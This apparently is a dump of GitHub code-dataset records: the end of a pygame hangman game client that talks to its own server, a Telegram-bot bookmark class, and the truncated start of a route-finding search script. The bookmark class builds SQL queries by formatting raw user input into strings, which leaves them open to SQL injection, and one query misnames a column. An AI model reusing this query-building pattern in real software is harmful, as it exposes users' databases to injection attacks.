login:\n            # Set up the font\n            font = pygame.font.Font(None, 32)\n        \n            input_width = 300\n            input_height = 50\n            input_margin = 50\n            input_x = (screen_width - input_width) // 2\n            input_y = (screen_height - 2 * input_height - input_margin) // 2\n        \n            usernameInput = InputField(input_x, input_y, input_width, input_height, \"Username\",10)\n            passwordInput = InputField(input_x, input_y + input_height + input_margin, input_width, input_height, \"Password\",10)\n        \n            # Set up the button\n            button_width = 200\n            button_height = 50\n            button_x = (screen_width - button_width) // 2\n            button_y = passwordInput.rect.bottom + input_height\n        \n            button = Button(button_x, button_y, button_width, button_height, GREEN, WHITE, \"LOGIN\")\n        \n            #\n            backButton = Button(10, 30, 100, 50, RED, BLACK, \"atrás\")\n        \n            # Set up the title\n            font = pygame.font.Font(None, 48)\n            title_label = font.render(\"Login\", True, BLACK)\n            title_label_rect = title_label.get_rect(center=(screen_width//2, 50))\n            \n            alert = Alert(\"Información Incorrecta\")\n            alert2 = Alert(\"Llena ambos campos\")\n            \n        while login:\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    start = False\n                    login = False\n                else:\n                    usernameInput.handle_event(event)\n                    passwordInput.handle_event(event)\n                    if backButton.handle_event(event):\n                        login = False\n                    if button.handle_event(event):\n                        print(usernameInput.text, passwordInput.text)\n                        if usernameInput.text != \"\" and passwordInput.text != \"\":\n                            credentials = \"L\" + usernameInput.text + \" \" + passwordInput.text\n                            enced = credentials.encode(\"utf-8\")\n                            s.sendall(enced)\n                            data = s.recv(1024)\n                            decoded_data = data.decode('utf-8')\n                            if decoded_data[0] == \"C\":\n                                login = False\n                                start = False\n                                main = True\n                            else:\n                                alert.draw(screen)\n                                pygame.display.update()\n                                pygame.time.delay(3000)\n                        else:\n                            alert2.draw(screen)\n                            pygame.display.update()\n                            pygame.time.delay(3000)\n                            \n\n            # Draw the background\n            screen.fill(ORANGE_LIGHT)\n\n            # Draw the title\n            screen.blit(title_label, title_label_rect)\n\n            # Draw the input fields\n            usernameInput.draw(screen)\n            passwordInput.draw(screen)\n\n            # Draw the button\n            button.draw(screen)\n            backButton.draw(screen)\n\n            pygame.display.flip()\n        #\n        # Register Screen\n        if register:\n            # Set up the font\n            font = pygame.font.Font(None, 32)\n        \n            input_width = 300\n            input_height = 50\n            input_margin = 50\n            input_x = (screen_width - input_width) // 2\n            input_y = (screen_height - 2 * input_height - input_margin) // 2\n        \n            usernameInput = InputField(input_x, input_y, input_width, input_height, \"Username\",10)\n            passwordInput = InputField(input_x, input_y + input_height + input_margin, input_width, input_height, \"Password\",10)\n        \n            # Set up the button\n            button_width = 200\n            button_height = 50\n            button_x = (screen_width - button_width) // 2\n            button_y = passwordInput.rect.bottom + input_height\n        \n            button = Button(button_x, button_y, button_width, button_height, GREEN, WHITE, \"REGISTER\")\n        \n            backButton = Button(10, 30, 100, 50, RED, BLACK, \"atrás\")\n        \n            # Set up the title\n            font = pygame.font.Font(None, 48)\n            title_label = font.render(\"Register\", True, BLACK)\n            title_label_rect = title_label.get_rect(center=(screen_width//2, 50))\n        \n            alert = Alert(\"Usuario ya Existe\")\n            alert2 = Alert(\"Llena ambos campos\")\n        \n        while register:\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    start = False\n                    register = False\n                else:\n                    usernameInput.handle_event(event)\n                    passwordInput.handle_event(event)\n                    if backButton.handle_event(event):\n                        register = False\n                    if button.handle_event(event):\n                        print(usernameInput.text, passwordInput.text)\n                        if usernameInput.text != \"\" and passwordInput.text != \"\":\n                            credentials = \"R\" + usernameInput.text + \" \" + passwordInput.text\n                            enced = credentials.encode(\"utf-8\")\n                            s.sendall(enced)\n                            data = s.recv(1024)\n                            decoded_data = data.decode('utf-8')\n                            if decoded_data[0] == \"C\":\n                                register = False\n                                start = False\n                                main = True\n                            else:\n                                alert.draw(screen)\n                                pygame.display.update()\n                                pygame.time.delay(3000)\n                        else:\n                            alert2.draw(screen)\n                            pygame.display.update()\n                            pygame.time.delay(3000)\n                        \n\n            # Draw the background\n            screen.fill(LIGHT_PURPLE)\n\n            # Draw the title\n            screen.blit(title_label, title_label_rect)\n\n            # Draw the input fields\n            usernameInput.draw(screen)\n            passwordInput.draw(screen)\n\n            # Draw the button\n            button.draw(screen)\n            backButton.draw(screen)\n\n            pygame.display.flip()\n\n\n        #\n\n        # Draw the background\n        screen.fill(BLUE)\n\n        # Draw the title\n        screen.blit(title_text, title_rect)\n\n        # Draw the buttons\n        loginButton.draw(screen)\n        registerButton.draw(screen)\n\n        # Update the display\n        pygame.display.flip()\n\n        # Set the frame rate\n        #clock.tick(60)\n       \n    #\n\n    # Main Screen\n    jugar = False\n    buscando = False\n    info = False\n    esperar = False\n    resultado = False\n    comoJugar= False\n    puntajes = False\n\n    if main:\n        # Define title properties\n        title_font = pygame.font.SysFont(None, 64)\n        title_text = title_font.render('Ahorcado', True, BLACK)\n        title_x = (screen_width - title_text.get_width()) / 2\n        title_y = 70\n    \n        # Define button properties\n        button_width = 150\n        button_height = 50\n        button_padding = 20\n        button_x = (screen_width - button_width) / 2\n        button_y = 150\n        button_color = YELLOW\n        button_text_color = BLACK\n    \n        # Create buttons\n        jugarButton = Button(button_x, button_y, button_width, button_height, button_color, button_text_color, \"Jugar\")\n        comojugarButton = Button(button_x, button_y + button_height + button_padding, button_width, button_height, button_color, button_text_color, \"Como Jugar\")\n        puntajesButton = Button(button_x, button_y + 2 * (button_height + button_padding), button_width, button_height, button_color, button_text_color, \"Puntajes\")\n        button_color = RED\n        salirButton = Button(button_x, button_y + 3 * (button_height + button_padding), button_width, button_height, button_color, button_text_color, \"Salir\")\n\n    # Game loop\n    while main:\n        mainActiveMsg = \"Main\"\n        enmam = mainActiveMsg.encode(\"utf-8\")\n        s.sendall(enmam)\n        \n        data = s.recv(1024)\n        decoded_data = data.decode('utf-8')\n        if decoded_data[0] != 'e':\n            numButton = Button(10, 30, 100, 30, PINK, BLACK, decoded_data)\n            #numButton.draw(screen)\n            pygame.display.update()\n        # Handle events\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                main = False\n            # Handle button clicks\n            if jugarButton.handle_event(event):\n                buscando = True\n                info = False\n                jugar = False\n            if comojugarButton.handle_event(event):\n                comoJugar = True\n            if puntajesButton.handle_event(event):\n                puntajes = True\n            if salirButton.handle_event(event) :\n                main = False\n        if buscando:\n            font = pygame.font.Font(None, 40)\n\n            title_surface = font.render(\"Buscando Oponente...\", True, BLACK)\n            title_rect = title_surface.get_rect(center=(screen.get_width() // 2, screen.get_height() // 2 - 75))\n\n            button_width = 100\n            button_height = 50\n            button_x = (screen.get_width() - button_width) // 2\n            button_y = screen.get_height() // 2 + 75\n            \n            cancelButton = Button(button_x, button_y, button_width, button_height, RED, BLACK, \"Cancel\")\n            cancelButton.draw(screen)\n\n            # Loading variables\n            loading_percent = 0\n            loading_speed = 0.7  # Increase this number to make the loading faster\n            while buscando:\n                mainActiveMsg = \"Buscando\"\n                enmam = mainActiveMsg.encode(\"utf-8\")\n                s.sendall(enmam)\n                \n                data = s.recv(1024)\n                decoded_data = data.decode('utf-8')\n                if decoded_data[0] == '!':\n                    word = decoded_data[1:]\n                    buscando = False\n                    info = False\n                    jugar = True\n                for event in pygame.event.get():\n                    if event.type == pygame.QUIT:\n                        buscando = False\n                        jugar = False\n                        main = False\n                    else:\n                        if cancelButton.handle_event(event):\n                            mainActiveMsg = \"Cancel\"\n                            enmam = mainActiveMsg.encode(\"utf-8\")\n                            s.sendall(enmam)\n                            \n                            data = s.recv(1024)\n                            decoded_data = data.decode('utf-8')\n                            buscando = False\n\n                screen.fill(DARK_GREEN)\n                cancelButton.draw(screen)\n                screen.blit(title_surface, title_rect)\n                # Draw the loading circle\n                circle_center = (screen_width // 2, screen_height // 2)\n                circle_radius = 50\n                circle_width = 5\n                loading_angle = loading_percent * 3.6  # Convert percent to degrees\n                pygame.draw.circle(screen, WHITE, circle_center, circle_radius, circle_width)\n                pygame.draw.arc(screen, BLUE, (circle_center[0]-circle_radius, circle_center[1]-circle_radius, circle_radius*2, circle_radius*2), math.radians(-90), math.radians(loading_angle - 90), circle_width)\n            \n                # Update the loading percent\n                loading_percent += loading_speed\n                if loading_percent > 100:\n                    loading_percent = 0\n                \n                pygame.display.update()\n        if info:\n            screen.fill(BLUE)\n            # set up fonts and colors\n            font = pygame.font.Font(None, 30)\n            font_bold = pygame.font.Font(None, 40)\n            white = (255, 255, 255)\n            \n            # draw the title at the top\n            title = font_bold.render(\"Match Found\", True, BLACK)\n            title_rect = title.get_rect(center=(365, 50))\n            screen.blit(title, title_rect)\n            \n            \n            # set up the table data\n            player1Name = \"player1\"\n            player1Record = \"0-0\"\n            player2Name = \"player2\"\n            player2Record = \"0-0\"\n            \n            table_data = [\n                [player1Name, \"vs\", player2Name],\n                [player1Record, \"\", player2Record],\n            ]\n            \n            # draw the table\n            table_width = 500\n            table_height = 200\n            table_x = (730 - table_width) // 2\n            table_y = 100\n            cell_width = table_width // 3\n            cell_height = table_height // 2\n            for i in range(len(table_data)):\n                for j in range(len(table_data[i])):\n                    cell_x = table_x + j * cell_width\n                    cell_y = table_y + i * cell_height\n                    cell_rect = pygame.Rect(cell_x, cell_y, cell_width, cell_height)\n                    cell_text = font.render(table_data[i][j], True, white)\n                    cell_text_rect = cell_text.get_rect(center=cell_rect.center)\n                    if j == 1 and i == 1:\n                        screen.blit(font.render(table_data[i][j], True, white), cell_text_rect)\n                    else:\n                        screen.blit(cell_text, cell_text_rect)\n            \n            # draw the text below the table\n            bottom_text = font_bold.render(\"10\", True, white)\n            bottom_rect = bottom_text.get_rect(center=(365, 400))\n            screen.blit(bottom_text, bottom_rect)\n            \n            # update the screen\n            pygame.display.flip()\n            \n            # run the game loop\n            startTime = 0\n            startSpeed = 0.001\n            look = 0\n            while info:\n                mainActiveMsg = \"Buscando\"\n                enmam = mainActiveMsg.encode(\"utf-8\")\n                s.sendall(enmam)\n                \n                data = s.recv(1024)\n                decoded_data = data.decode('utf-8')\n                if look==0:\n                    if decoded_data[0] == '!':\n                        look = 1\n                        playersInfo = decoded_data.split()\n                        player1Name = playersInfo[0][1:]\n                        player1Win = playersInfo[2]\n                        player1Lose = playersInfo[3]\n                        player2Name = playersInfo[4]\n                        player2Win = playersInfo[6]\n                        player2Lose = playersInfo[7]\n                        # set up the table data\n                        player1Record = player1Win+\"-\"+player1Lose\n                        player1Record = player2Win+\"-\"+player2Lose\n                    elif decoded_data[0] == 'p':\n                        info = False\n                        jugar = True\n                        break\n                        \n                table_data = [\n                    [player1Name, \"vs\", player2Name],\n                    [player1Record, \"\", player2Record],\n                ]\n                for event in pygame.event.get():\n                    if event.type == pygame.QUIT:\n                        info = False\n                        jugar = False\n                        main = False\n                screen.fill(BLUE)\n                screen.blit(title_text, title_rect)\n                for i in range(len(table_data)):\n                    for j in range(len(table_data[i])):\n                        cell_x = table_x + j * cell_width\n                        cell_y = table_y + i * cell_height\n                        cell_rect = pygame.Rect(cell_x, cell_y, cell_width, cell_height)\n                        cell_text = font.render(table_data[i][j], True, white)\n                        cell_text_rect = cell_text.get_rect(center=cell_rect.center)\n                        if j == 1 and i == 1:\n                            screen.blit(font.render(table_data[i][j], True, white), cell_text_rect)\n                        else:\n                            screen.blit(cell_text, cell_text_rect)\n                # draw the text below the table\n                text = str(3- int(startTime))\n                font_bold = pygame.font.Font(None, 48)\n                bottom_text = font_bold.render(text, True, BLACK)\n                bottom_rect = bottom_text.get_rect(center=(365, 350))\n                screen.blit(bottom_text, bottom_rect)\n                startTime += startSpeed\n                \n                if startTime>3:\n                    info = False\n                    jugar = True\n                else:\n                    # update the screen\n                    pygame.display.flip()\n        if jugar:\n            #Active Game\n            pygame.draw.rect(screen, (255,0,0), (0, 0, 730, 75))\n            pygame.draw.rect(screen, (255,255,0), (10, 10, 710, 55))\n        \n        \n            pygame.draw.rect(screen, (0,255,0), (0, 75, 730, 175))\n            pygame.draw.rect(screen, (255,255,0), (182, 85, 365, 155))\n        \n        \n            pygame.draw.rect(screen, (0,0,255), (0, 250, 730, 125))\n            pygame.draw.rect(screen, (255,255,0), (10, 260, 710, 105))\n        \n            pygame.draw.rect(screen, (50,50,50), (0, 375, 730, 125))\n            pygame.draw.rect(screen, (255,255,50), (10, 385, 710, 50))\n            pygame.draw.rect(screen, (255,255,50), (10, 440, 710, 50))\n        \n            pygame.display.update()\n        \n            letras = {}\n        \n            xPrimerLetra = 10\n            yPrimerLetra = 385\n        \n            x = xPrimerLetra\n            y = yPrimerLetra\n        \n            width = 50\n            height = 50\n            for i in range(97, 123):\n                lerta = chr(i)\n                pygame.draw.rect(screen,(0,255,255),(x,y,50,50))\n                \n                text_surface = lettersFont.render(chr(i), True, (0, 0, 0))\n                # Get the dimensions of the text surface\n                text_width = text_surface.get_width()\n                text_height = text_surface.get_height()\n                # Calculate the x and y coordinates to center the text in the rectangle\n                text_x = (width - text_width) // 2 + x\n                text_y = (height - text_height) // 2 + y\n                # Blit the text surface onto the window surface at the correct coordinates\n                screen.blit(text_surface, (text_x, text_y))\n                letras[chr(i)] = Letra(x,y,50,50,text_surface,text_x,text_y)\n        \n                x += 55\n                if i == 109:\n                    x = xPrimerLetra\n                    y = 440\n                pygame.display.update()\n        \n            espacios = {}   \n            letrasEspacios = [] \n            spaceWidth = (710-(len(word)-1)*5) // len(word)\n            spaceHeight = spaceWidth\n            if spaceHeight > 105:\n                spaceHeight = 105\n            x = 10 + (710-(spaceWidth*len(word)+(len(word)-1)*5))/2\n            y = 260 + (105-spaceHeight)/2\n        \n            for i in range(0,len(word)):\n                if word[i] in espacios:\n                    espacios[word[i]].append(i)\n                else:\n                    espacios[word[i]] = [i]\n                text_surface = lettersFont.render(word[i].upper(), True, (255, 255, 255))\n                text_width = text_surface.get_width()\n                text_height = text_surface.get_height()\n                text_x = (spaceWidth - text_width) // 2 + x\n                text_y = (spaceHeight - text_height) // 2 + y\n                letrasEspacios.append((text_surface,(text_x,text_y)))\n                pygame.draw.rect(screen,(10,20,30),(x,y,spaceWidth,spaceHeight))\n                x += spaceWidth+5\n                pygame.display.update()\n            \"\"\"\n            for letra in espacios:\n                for espacio in espacios[letra]:\n                    screen.blit(letrasEspacios[espacio][0],(letrasEspacios[espacio][1][0],letrasEspacios[espacio][1][1]))\n            \"\"\"\n        \n            pygame.draw.line(screen, (60, 179, 113), [244, 240], [364, 240], 5)\n            pygame.draw.line(screen, (60, 179, 113), [304, 240], [304, 85], 5)\n            pygame.draw.line(screen, (60, 179, 113), [304, 85], [424, 85], 5)\n            pygame.draw.line(screen, (60, 179, 113), [424, 85], [424, 120], 5)\n            pygame.display.update()\n                \n            # Set up the timer\n            timer_event = pygame.USEREVENT + 1\n            pygame.time.set_timer(timer_event, 1000) # 1 second\n            # Set up the timer variables\n            time_elapsed = 0\n            start_ticks = pygame.time.get_ticks()\n        \n            errors = 0\n            aciertos = 0     \n        while jugar:\n            # poll for events\n            # pygame.QUIT event means the user clicked X to close your window\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    main = False\n                    jugar = False\n                elif event.type == timer_event:\n                    # Update the timer variables\n                    time_elapsed = (pygame.time.get_ticks() - start_ticks) // 1000\n                elif event.type == pygame.MOUSEBUTTONDOWN:\n                    for letra in letras:\n                        if letras[letra].rectangulo.collidepoint(event.pos):\n                            pygame.draw.rect(screen,(0,0,0),letras[letra].rectangulo)\n                            text = lettersFont.render(letra, True, (50, 50, 50))\n                            screen.blit(text,(letras[letra].textX,letras[letra].textY))\n                            if letras[letra].activo==True:\n                                if letra in espacios:\n                                    for espacio in espacios[letra]:\n                                        aciertos +=1\n                                        screen.blit(letrasEspacios[espacio][0],(letrasEspacios[espacio][1][0],letrasEspacios[espacio][1][1]))\n                                    if aciertos == len(word):\n                                        resultado = True\n                                        esperar = False\n                                        jugar = False\n                                else:\n                                    errors +=1\n                                    if errors == 1:\n                                        drawHead()\n                                    elif errors == 2:\n                                        drawBody()\n                                    elif errors == 3:\n                                        drawLegs()\n                                    elif errors == 4:\n                                        drawArms()\n                                    elif errors == 5:\n                                        drawDead()\n                                    elif errors == 6:\n                                        resultado = True\n                                        esperar = False\n                                        jugar = False\n                                    letras[letra].activo = False\n                                    pygame.display.update()\n                                letras[letra].activo = False\n                            pygame.display.update()\n                        \n            # Draw the timer\n            hours, remainder = divmod(time_elapsed, 3600)\n            minutes, seconds = divmod(remainder, 60)\n            timer_text = timerFont.render(\"{:02d}:{:02d}:{:02d}\".format(hours, minutes, seconds), True, (0, 0, 0))\n            pygame.draw.rect(screen, (255,255,0), (10, 10, 710, 55))\n            timeText = timerFont.render(\"Time\", True, (0, 0, 0))\n            screen.blit(timeText, (355, 10))\n            screen.blit(timer_text, (345, 30))\n            score_text = timerFont.render(str(aciertos*100), True, (0, 0, 0))\n            scoreText = timerFont.render(\"Puntuación\", True, (0, 0, 0))\n            screen.blit(scoreText, (50, 10))\n            screen.blit(score_text, (80, 30))\n            errors_text = timerFont.render(str(errors), True, (0, 0, 0))\n            errorsText = timerFont.render(\"Errores\", True, (0, 0, 0))\n            screen.blit(errorsText, (620, 10))\n            screen.blit(errors_text, (645, 30))\n\n            # Update the screen\n            pygame.display.flip()\n        ##Game Active Ends\n        # Wait Oponent\n        if esperar:\n            # Create the alert box\n            ALERT_WIDTH = 500\n            ALERT_HEIGHT = 300 # increased height to fit the table and button\n            alert_rect = pygame.Rect((screen_width - ALERT_WIDTH) / 2, (screen_height - ALERT_HEIGHT) / 2, ALERT_WIDTH, ALERT_HEIGHT)\n            pygame.draw.rect(screen, LIGHT_PURPLE, alert_rect, border_radius=10)\n            # Add message to center of alert box\n            message_font = pygame.font.SysFont(None, 56)\n            message_text = message_font.render(\"Waiting for oponent...\", True, BLACK)\n            message_rect = message_text.get_rect(center=alert_rect.center)\n            screen.blit(message_text, message_rect)\n            #\n            pygame.display.update()\n        while esperar:\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    esperar = False\n                    resultado = False\n                    main = False\n            \n        #Score\n        if resultado:\n            # Create the alert box\n            ALERT_WIDTH = 500\n            ALERT_HEIGHT = 300 # increased height to fit the table and button\n            alert_rect = pygame.Rect((screen_width - ALERT_WIDTH) / 2, (screen_height - ALERT_HEIGHT) / 2, ALERT_WIDTH, ALERT_HEIGHT)\n            pygame.draw.rect(screen, LIGHT_PURPLE, alert_rect, border_radius=10)\n            \n            # Create the title\n            title_font = pygame.font.SysFont(None, 48, bold=True)\n            title = title_font.render(\"Resultado!\", True, BLACK)\n            title_rect = title.get_rect(center=(alert_rect.centerx, alert_rect.top + 50))\n            screen.blit(title, title_rect)\n            \n            # Create the table\n            table_font = pygame.font.SysFont(None, 24)\n            table_data = [(\"Palabra: \"+word, \"\"),\n                          (\"{:02d}:{:02d}:{:02d}\".format(hours, minutes, seconds), \"\"),\n                          (str(aciertos*100), \"\")]\n            \n            # Calculate table dimensions and position\n            table_width = alert_rect.width - 40  # subtract 40 for the left and right margins\n            table_height = table_font.get_height() * len(table_data)\n            table_x = alert_rect.left + (alert_rect.width - table_width) / 2\n            table_y = title_rect.bottom + 20 + ((alert_rect.height - title_rect.bottom - 20 - table_height - 30) / 2) # subtract 30 for the space between the table and the button\n            \n            # Draw the table data\n            table_data_x = table_x\n            table_data_y = table_y\n            for j, row in enumerate(table_data):\n                for i, cell in enumerate(row):\n                    cell_text = table_font.render(cell, True, BLACK)\n                    cell_rect = cell_text.get_rect(midtop=(table_data_x + table_width * (i + 0.5) / 2, table_data_y + table_font.get_height() * (j + 0.5)))\n                    screen.blit(cell_text, cell_rect)\n                table_data_y += 10\n\n            \n            # Create the button\n            button_width = 100\n            button_height = 40\n            button_x = alert_rect.left + (alert_rect.width - button_width) / 2\n            button_y = alert_rect.bottom - 20 - button_height\n            button = Button(button_x, button_y, button_width, button_height, RED, BLACK, \"Close\")\n            \n            # Draw the button\n            button.draw(screen)\n            \n            # Update display\n            pygame.display.update()\n        while resultado:\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    resultado = False\n                    main = False\n                else:\n                    if button.handle_event(event):\n                        resultado = False\n                        main = True\n                        mainActiveMsg = \"Final\"\n                        enmam = mainActiveMsg.encode(\"utf-8\")\n                        s.sendall(enmam)\n                        data = s.recv(1024)\n                        decoded_data = data.decode('utf-8')\n                        break\n            button.draw(screen)\n            pygame.display.flip()\n        #\n        #Como Jugar\n        if comoJugar:\n            screen.fill(LIGHT_GRAY)\n            # Set up the font and font size for the text\n            font = pygame.font.Font(None, 48)\n            \n            # Define the text to be displayed\n            title = font.render(\"Como Jugar\", True, BLACK)\n            font = pygame.font.Font(None, 28)\n            line1_text = font.render(\"1. Presiona jugar para buscar oponente.\", True, BLACK)\n            line2_text = font.render(\"2. Adivina la palabra antes que tu oponente.\", True, BLACK)\n            line3_text = font.render(\"3. Si te equivocas 6 veces, pierdes.\", True, BLACK)\n            line4_text = font.render(\"4. Cada letra que adivines te dará 100 puntos.\", True, BLACK)\n            line5_text = font.render(\"5. En caso de empate en puntos ganará el menor tiempo.\", True, BLACK)\n            \n            # Get the dimensions of the text to be displayed\n            title_rect = title.get_rect()\n            line1_rect = line1_text.get_rect()\n            line2_rect = line2_text.get_rect()\n            line3_rect = line3_text.get_rect()\n            line4_rect = line4_text.get_rect()\n            line5_rect = line5_text.get_rect()\n            \n            # Set the position of the text to be displayed\n            title_rect.centerx = screen.get_rect().centerx\n            title_rect.top = 50\n            \n            # Calculate the total height of the lines\n            total_height = line1_rect.height + line2_rect.height + line3_rect.height + line4_rect.height + line5_rect.height\n            \n            # Calculate the vertical spacing between the lines\n            vertical_spacing = (screen_height - title_rect.bottom - total_height) / 8\n            \n            # Set the positions of the lines of text\n            line1_rect.centerx = screen.get_rect().centerx\n            line1_rect.top = title_rect.bottom + vertical_spacing\n            line2_rect.centerx = screen.get_rect().centerx\n            line2_rect.top = line1_rect.bottom + vertical_spacing\n            line3_rect.centerx = screen.get_rect().centerx\n            line3_rect.top = line2_rect.bottom + vertical_spacing\n            line4_rect.centerx = screen.get_rect().centerx\n            line4_rect.top = line3_rect.bottom + vertical_spacing\n            line5_rect.centerx = screen.get_rect().centerx\n            line5_rect.top = line4_rect.bottom + vertical_spacing\n            \n            # Draw the text on the screen\n            screen.blit(title, title_rect)\n            screen.blit(line1_text, line1_rect)\n            screen.blit(line2_text, line2_rect)\n            screen.blit(line3_text, line3_rect)\n            screen.blit(line4_text, line4_rect)\n            screen.blit(line5_text, line5_rect)\n            button = Button(10, 30, 100, 30, RED, BLACK, \"atrás\")\n            button.draw(screen)\n            pygame.display.update()\n            \n        while comoJugar:\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    comoJugar = False\n                    main = False\n                else:\n                    if button.handle_event(event):\n                        comoJugar = False\n            button.draw(screen)\n            pygame.display.update()\n        #\n        #Puntajes\n        if puntajes:\n            screen.fill(DARK_BLUE)\n            \n            # set the positions for the title and table\n            title_position = (screen_width // 2, 50)\n            \n            # set the size of each cell in the table\n            cell_size = (150, 50)\n            \n            # create the table data\n            table_data = [\n            ]\n            \n            # set the number of rows and columns in the table\n            num_rows = len(table_data)\n            if num_rows>7:\n                num_rows = 7\n            num_cols = 2\n            \n            # calculate the size of the table\n            table_width = num_cols * cell_size[0]\n            table_height = num_rows * cell_size[1]\n            \n            # calculate the position of the top-left cell of the table\n            table_position = ((screen_width - table_width) // 2 + 80, (screen_height - table_height) // 2 + 50)\n\n            # set the font for the text\n            font = pygame.font.Font(None, 48)\n            # draw the title text\n            title = font.render(\"Mejores Jugadores\", True, WHITE)\n            title_rect = title.get_rect(center=title_position)\n            screen.blit(title, title_rect)\n            \n            # set the font for the text\n            font = pygame.font.Font(None, 24)\n            # draw the table data\n            for i in range(num_rows):\n                for j in range(num_cols):\n                    cell_position = (table_position[0] + j * cell_size[0], table_position[1] + i * cell_size[1])\n                    cell_text = font.render(table_data[i][j], True, WHITE)\n                    cell_rect = cell_text.get_rect(center=cell_position)\n                    # draw the cell border\n                    cell_rect_outer = pygame.Rect(cell_position[0] - cell_size[0] // 2, cell_position[1] - cell_size[1] // 2, cell_size[0], cell_size[1])\n                    pygame.draw.rect(screen, PURPLE, cell_rect_outer, 2)\n                    screen.blit(cell_text, cell_rect)\n            \n            # update the screen\n            button = Button(10, 30, 100, 30, RED, BLACK, \"atrás\")\n            button.draw(screen)\n            pygame.display.update()\n            \n            # run the Pygame loop\n            while puntajes:\n                ptsActiveMsg = \"Puntajes\"\n                enpts = ptsActiveMsg.encode(\"utf-8\")\n                s.sendall(enpts)\n                \n                data = s.recv(1024)\n                decoded_data = data.decode('utf-8')\n                for event in pygame.event.get():\n                    if event.type == pygame.QUIT:\n                        puntajes = False\n                        main = False\n                    else:\n                        if button.handle_event(event):\n                            puntajes = False\n                button.draw(screen)\n                pygame.display.update()\n        #\n        \n        # Fill the screen with white\n        screen.fill(LIGHT_GREEN)\n        \n        # Draw title\n        screen.blit(title_text, (title_x, title_y))\n\n        # Draw buttons\n        jugarButton.draw(screen)\n        comojugarButton.draw(screen)\n        puntajesButton.draw(screen)\n        salirButton.draw(screen)\n        #numButton.draw(screen)\n\n        # Update the screen\n        pygame.display.update()\n    #\n\n\n\n\n    running2 = False\n    while running2:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                running2 = False\n\n    pygame.quit()\nexcept socket.error as err:\n    print('Error connecting to', HOST, 'on port', PORT, ':', err)\nfinally:\n    s.close()","repo_name":"Jorgepro89/ProyectoComputoDistribuido","sub_path":"Version Final del Proyecto/Client/ahorcado.py","file_name":"ahorcado.py","file_ext":"py","file_size_in_byte":43025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74129922111","text":"class Bookmark():\n    '''\n    joined class for managing bookmarks and tags to them.\n    implement CRUD in \n    '''\n    def __init__(self):\n        pass\n    #CRUD for bookmarks\n    #create bookmark\n    def createBookmarkQuery(self, url_, iduser = None, description=None, comments=None, rate=None):\n        if not description:\n            description = \"\"\n        if not rate:\n            rate = 0\n        if not iduser:\n            iduser = 0\n        if not comments:\n            comments = \"\"\n        query = \"insert into bookmarks(url, description, rate, iduser, comments) values('{0}','{1}',{2}, {3}, '{4}')\".format(url_, description, rate, iduser, comments)\n        return query\n\n    #read bookmark\n    def getBookmarks(self, tags=None, count=None, iduser=None):\n        if not iduser:\n            iduser = 1\n        if not count or type(count) != int:\n            query = \"SELECT url, description, rate, id, comments FROM bookmarks WHERE iduser = {0}\".format(iduser)\n        else:\n            query = \"SELECT url, description, rate, i, comments FROM bookmarks WHERE iduser = {0} LIMIT {1}\".format(iduser, count)\n        return query\n\n    #update bookmark\n    def updateBookmarkQuery(self, id, new_data, type='description'):\n        if type == \"url\":\n            query = \"UPDATE bookmarks SET url = '{0}' WHERE id = {1}\".format(new_data, id)\n        elif type == \"description\":\n            query = \"UPDATE bookmarks SET description = '{0}' WHERE id = {1}\".format(new_data, id)\n        elif type == \"rate\":\n            query = \"UPDATE bookmarks SET rate = {0} WHERE id = {1}\".format(new_data, id)\n        else:\n            return None\n        return query\n\n    #delete bookmark\n    def deleteBookmarkQuery(self, id, iduser):\n        query = \"DELETE FROM bookmarks WHERE id = {0} AND iduser={1}\".format(id, iduser)\n        return query\n\n    #others\n    def checkIdQuery(self, id, iduser):\n        query = \"SELECT id FROM bookmarks WHERE id={0} AND iduser={1}\".format(id, iduser)\n        return query\n\n    #Tags section\n    #CRUD for tags","repo_name":"16861/telegram_bot","sub_path":"bookmarks.py","file_name":"bookmarks.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30512165917","text":"from pprint import pprint\nimport sys\n\n\nclass RouteFinding:\n\n    def __init__(self, filename):\n        self.adjlist = self.readFile(filename)\n        self.heuristics = self.read_heuristics()\n\n        self.initial = input('Enter Source:')\n        while self.initial not in self.adjlist:\n            self.initial = input('City does not Exist.Enter Source Again:')\n\n        self.goal = input('Enter Destination:')\n        while self.goal not in self.adjlist:\n            self.goal = input('City does not Exist.Enter Destination Again:')\n\n        search_type = int(\n            input('1. BFS\\n2. DFS\\n3. GBFS\\n4. A-star\\nYout Choice: '))\n        if search_type == 1:\n            self.bfs()\n        elif search_type == 2:\n            self.dfs()\n        elif search_type == 3:\n            self.gbfs()\n        elif search_type == 4:\n            self.a_star()\n\n    def readFile(self, filename):\n        f = open(filename, 'r')\n        lines = f.readlines()\n        adjlist = {}\n        for line in lines:\n            listelement = line[:-1].split(',')\n            try:\n                adjlist[listelement[0]].append(\n                    (listelement[1], int(listelement[2])))\n            except:\n                adjlist[listelement[0]] = [\n                    (listelement[1], int(listelement[2]))]\n            try:\n                adjlist[listelement[1]].append(\n                    (listelement[0], int(listelement[2])))\n            except:\n                adjlist[listelement[1]] = [\n                    (listelement[0], int(listelement[2]))]\n        pprint(adjlist)\n        return adjlist\n\n    def read_heuristics(self):\n        f = open('Bangalore_distance.csv', 'r', encoding='utf-8')\n        lines = f.readlines()\n        heuristics = {}\n        for line in lines:\n            list_element = line[:-1].split(',')\n            # print(list_element[0],list_element[2])\n            heuristics[list_element[0]] = float(list_element[2])\n        return heuristics\n\n    def goal_test(self, state):\n        if state == self.goal:\n            return 1\n        return 0\n\n    def goal_test_heuristic(self, state):\n        if state == 'Bangalore':\n            return 1\n        return 0\n\n    def bfs(self):\n        explored = set()\n        frontier = []\n        path = []\n        frontier.append(self.initial)\n        while True:\n            if len(frontier) == 0:\n                return None\n            node = frontier[0]\n            if node not in explored:\n                path += [node]\n                explored.add(node)\n            for city in self.adjlist[node]:\n                if (city[0] not in explored) or (city[0] not in frontier):\n                    if self.goal_test(city[0]):\n                        path += 